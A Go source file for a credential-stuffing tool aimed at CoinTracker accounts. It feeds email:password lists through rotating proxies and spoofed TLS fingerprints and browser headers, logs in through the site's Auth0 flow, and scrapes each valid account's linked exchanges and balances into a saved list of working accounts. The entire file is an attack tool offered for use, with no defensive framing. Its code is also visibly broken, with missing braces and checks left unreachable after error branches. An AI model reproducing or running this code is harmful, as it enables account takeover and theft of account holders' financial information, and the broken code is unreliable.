package cointracker
import (
"cointracker/utils"
"fmt"
"github.com/PuerkitoBio/goquery"
tls_client "github.com/bogdanfinn/tls-client"
"net/url"
"strings"
"time"
)
import http "github.com/bogdanfinn/fhttp"
func BuildTask(account string) (task Task) {
if accSplit := strings.Split(account, ":"); len(accSplit) == 2 {
task.EMail = accSplit[0]
task.Password = accSplit[1]
cookie := tls_client.NewCookieJar()
proxy := utils.GetRandomFormattedProxy()
options := []tls_client.HttpClientOption{
tls_client.WithTimeoutSeconds(30),
tls_client.WithClientProfile(tls_client.Firefox_108),
tls_client.WithCookieJar(cookie),
tls_client.WithProxyUrl(proxy),
tls_client.WithRandomTLSExtensionOrder(),
}
client, _ := tls_client.NewHttpClient(tls_client.NewNoopLogger(), options...)
task.Session = client
return task
func (task *Task) StartTask() func() {
return task.getLoginPage()
func (task *Task) getLoginPage() func() {
tries := 0
for {
utils.Log(utils.Yellow, "[INFO] - "+task.EMail+":"+task.Password+" -
LOGIN TASK STARTED")
tries++
if tries > 9 {
utils.Checked++
utils.RunningTasks -= 1
return nil
}
req, _ := http.NewRequest(http.MethodGet,
"https://www.cointracker.io/auth0/login", nil)
req.Header = http.Header{
http.HeaderOrderKey: []string{
"sec-ch-ua",
"accept",
"dnt",
"sec-ch-ua-mobile",
"upgrade-insecure-requests",
"user-agent",
"sec-ch-ua-platform",
"sec-fetch-site",
"sec-fetch-mode",
"sec-fetch-dest",
"referer",
"accept-encoding",
"accept-language",
"cookie",
},
"sec-ch-ua": {`"Not?A_Brand";v="8",
"Chromium";v="102", "Google Chrome";v="102"`},
"accept":
{"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/
webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"},
"dnt": {"1"},
"sec-ch-ua-mobile": {"?0"},
"upgrade-insecure-requests": {"1"},
"user-agent": {"Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0
Safari/537.36"},
"sec-ch-ua-platform": {`"Windows"`},
"sec-fetch-site": {"same-origin"},
"sec-fetch-mode": {"navigate"},
"sec-fetch-dest": {"empty"},
"referer": {"https://www.cointracker.io/"},
"accept-encoding": {"gzip, deflate, br"},
"accept-language": {"pl-PL,pl;q=0.9"},
}
resp, err := task.Session.Do(req)
if err != nil {
utils.Log(utils.Red, "[ERR] - "+task.EMail+":"+task.Password+" -
ERROR ["+utils.White+fmt.Sprint(err.Error())+utils.Red+"] GET LOGIN")
if resp != nil && resp.Body != nil {
resp.Body.Close()
}
time.Sleep(1 * time.Second)
continue
}
if resp != nil && resp.Body != nil {
resp.Body.Close()
}
if resp.StatusCode == 200 {
task.State = strings.Split(resp.Request.URL.String(), `?state=`)
[1]
task.Referer = resp.Request.URL.String()
return task.submitEmail()
}
utils.Log(utils.Red, "[ERR] - "+task.EMail+":"+task.Password+" -
INVALID STATUS CODE ["+utils.White+fmt.Sprint(resp.StatusCode)+utils.Red+"] GET
LOGIN")
time.Sleep(1 * time.Second)
continue
}
}
func (task *Task) submitEmail() func() {
tries := 0
for {
tries++
if tries > 9 {
utils.Checked++
utils.RunningTasks -= 1
return nil
}
form := url.Values{}
form.Add("state", task.State)
form.Add("username", task.EMail)
form.Add("js-available", "true")
form.Add("webauthn-available", "true")
form.Add("is-brave", "false")
form.Add("webauthn-platform-available", "false")
form.Add("action", "default")
formEncoded := strings.NewReader(form.Encode())
req, _ := http.NewRequest(http.MethodPost,
"https://login.cointracker.io/u/login/identifier", formEncoded)
req.Header = http.Header{
http.HeaderOrderKey: []string{
"content-length",
"cache-control",
"sec-ch-ua",
"sec-ch-ua-mobile",
"sec-ch-ua-platform",
"origin",
"dnt",
"upgrade-insecure-requests",
"content-type",
"user-agent",
"accept",
"sec-fetch-site",
"sec-fetch-mode",
"sec-fetch-user",
"sec-fetch-dest",
"referer",
"accept-encoding",
"accept-language",
"cookie",
},
"cache-control": {"max-age=0"},
"sec-ch-ua": {`"Not?A_Brand";v="8",
"Chromium";v="102", "Google Chrome";v="102"`},
"sec-ch-ua-mobile": {"?0"},
"sec-ch-ua-platform": {`"Windows"`},
"origin": {"https://login.cointracker.io"},
"dnt": {"1"},
"upgrade-insecure-requests": {"1"},
"content-type": {"application/x-www-form-
urlencoded"},
"user-agent": {"Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0
Safari/537.36"},
"accept":
{"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/
webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"},
"sec-fetch-site": {"same-origin"},
"sec-fetch-mode": {"navigate"},
"sec-fetch-user": {"?1"},
"sec-fetch-dest": {"document"},
"referer": {task.Referer},
"accept-encoding": {"gzip, deflate, br"},
"accept-language": {"pl-PL,pl;q=0.9"},
}
resp, err := task.Session.Do(req)
if err != nil {
utils.Log(utils.Red, "[ERR] - "+task.EMail+":"+task.Password+" -
ERROR ["+utils.White+fmt.Sprint(err.Error())+utils.Red+"] SUBMIT EMAIL")
if resp != nil && resp.Body != nil {
resp.Body.Close()
}
time.Sleep(1 * time.Second)
continue
if resp != nil && resp.Body != nil {
resp.Body.Close()
}
if resp.StatusCode == 200 {
return task.submitPassword()
}
utils.Log(utils.Red, "[ERR] - "+task.EMail+":"+task.Password+" -
INVALID STATUS CODE ["+utils.White+fmt.Sprint(resp.StatusCode)+utils.Red+"] SUBMIT
EMAIL")
time.Sleep(1 * time.Second)
continue
}
}
func (task *Task) submitPassword() func() {
tries := 0
for {
tries++
if tries > 9 {
utils.Checked++
utils.RunningTasks -= 1
return nil
}
form := url.Values{}
form.Add("state", task.State)
form.Add("username", task.EMail)
form.Add("password", task.Password)
form.Add("action", "default")
formEncoded := strings.NewReader(form.Encode())
req, _ := http.NewRequest(http.MethodPost,
"https://login.cointracker.io/u/login/password", formEncoded)
req.Header = http.Header{
http.HeaderOrderKey: []string{
"content-length",
"cache-control",
"sec-ch-ua",
"sec-ch-ua-mobile",
"sec-ch-ua-platform",
"origin",
"dnt",
"upgrade-insecure-requests",
"content-type",
"user-agent",
"accept",
"sec-fetch-site",
"sec-fetch-mode",
"sec-fetch-user",
"sec-fetch-dest",
"referer",
"accept-encoding",
"accept-language",
"cookie",
},
"cache-control": {"max-age=0"},
"sec-ch-ua": {`"Not?A_Brand";v="8",
"Chromium";v="102", "Google Chrome";v="102"`},
"sec-ch-ua-mobile": {"?0"},
"sec-ch-ua-platform": {`"Windows"`},
"origin": {"https://login.cointracker.io"},
"dnt": {"1"},
"upgrade-insecure-requests": {"1"},
"content-type": {"application/x-www-form-
urlencoded"},
"user-agent": {"Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0
Safari/537.36"},
"accept":
{"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/
webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"},
"sec-fetch-site": {"same-origin"},
"sec-fetch-mode": {"navigate"},
"sec-fetch-user": {"?1"},
"sec-fetch-dest": {"document"},
"referer": {task.Referer},
"accept-encoding": {"gzip, deflate, br"},
"accept-language": {"pl-PL,pl;q=0.9"},
}
resp, err := task.Session.Do(req)
if err != nil {
utils.Log(utils.Red, "[ERR] - "+task.EMail+":"+task.Password+" -
ERROR ["+utils.White+fmt.Sprint(err.Error())+utils.Red+"] SUBMIT PASSWORD")
if resp != nil && resp.Body != nil {
resp.Body.Close()
}
time.Sleep(1 * time.Second)
continue
if resp != nil && resp.Body != nil {
resp.Body.Close()
}
if resp.StatusCode == 200 {
utils.Valid++
return task.fetchWallets()
}
if resp.StatusCode == 400 {
utils.Checked++
utils.Log(utils.Red, "[INVALID] -
"+task.EMail+":"+task.Password+" - Account invalid.")
utils.RunningTasks -= 1
return nil
}
utils.Log(utils.Red, "[ERR] - "+task.EMail+":"+task.Password+" -
INVALID STATUS CODE ["+utils.White+fmt.Sprint(resp.StatusCode)+utils.Red+"] SUBMIT
PASSWORD")
time.Sleep(1 * time.Second)
continue
}
}
func (task *Task) fetchWallets() func() {
tries := 0
for {
tries++
if tries > 9 {
utils.Checked++
utils.RunningTasks -= 1
return nil
}
var (
exchanges []string
exchangesAndMoney []string
)
req, _ := http.NewRequest(http.MethodGet,
"https://www.cointracker.io/wallets", nil)
req.Header = http.Header{
"sec-ch-ua": {`"Not?A_Brand";v="8",
"Chromium";v="102", "Google Chrome";v="102"`},
"accept":
{"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/
webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"},
"dnt": {"1"},
"sec-ch-ua-mobile": {"?0"},
"upgrade-insecure-requests": {"1"},
"user-agent": {"Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0
Safari/537.36"},
"sec-ch-ua-platform": {`"Windows"`},
"sec-fetch-site": {"same-origin"},
"sec-fetch-mode": {"navigate"},
"sec-fetch-dest": {"empty"},
"accept-encoding": {"gzip, deflate, br"},
"accept-language": {"pl-PL,pl;q=0.9,en-
US;q=0.8,en;q=0.7,de;q=0.6"},
http.HeaderOrderKey: {
"sec-ch-ua",
"accept",
"dnt",
"sec-ch-ua-mobile",
"upgrade-insecure-requests",
"user-agent",
"sec-ch-ua-platform",
"sec-fetch-site",
"sec-fetch-mode",
"sec-fetch-dest",
"accept-encoding",
"accept-language",
"cookie",
},
}
resp, err := task.Session.Do(req)
if err != nil {
utils.Log(utils.Red, "[ERR] - "+task.EMail+":"+task.Password+" -
ERROR ["+utils.White+fmt.Sprint(err.Error())+utils.Red+"] GET ACCOUNT")
if resp != nil && resp.Body != nil {
resp.Body.Close()
}
time.Sleep(1 * time.Second)
continue
doc, err1 := goquery.NewDocumentFromReader(resp.Body)
if err1 != nil {
return nil
}
doc.Find("div.card:nth-child(2) > ul:nth-
child(2)").Find("a").Each(func(i int, s *goquery.Selection) {
exchangerName := s.Find("div:nth-child(2) > div:nth-child(1) >
div:nth-child(1) > div:nth-child(1)")
exchangerInfo := s.Find("div:nth-child(2) > div:nth-child(1) >
div:nth-child(2)")
exchangerBal := s.Find("div:nth-child(2) > div:nth-child(2)")
exchanges = append(exchanges, exchangerName.Text())
exchangesAndMoney = append(exchangesAndMoney, fmt.Sprintf("[%s:
%s, %s]", exchangerName.Text(), exchangerBal.Text(), exchangerInfo.Text()))
})
if len(exchangesAndMoney) > 0 && strings.Join(exchangesAndMoney, " - ")
!= "" {
utils.Log(utils.Green, "[VALID] -
"+task.EMail+":"+task.Password+" - "+strings.Join(exchangesAndMoney, " - "))
utils.SaveValidAccount(task.EMail + ":" + task.Password + " - " +
strings.Join(exchangesAndMoney, " - "))
utils.RunningTasks -= 1
utils.Checked++
return nil
} else {
utils.Log(utils.Green, "[VALID] - EMPTY")
utils.RunningTasks -= 1
utils.Checked++
return nil
}
}
}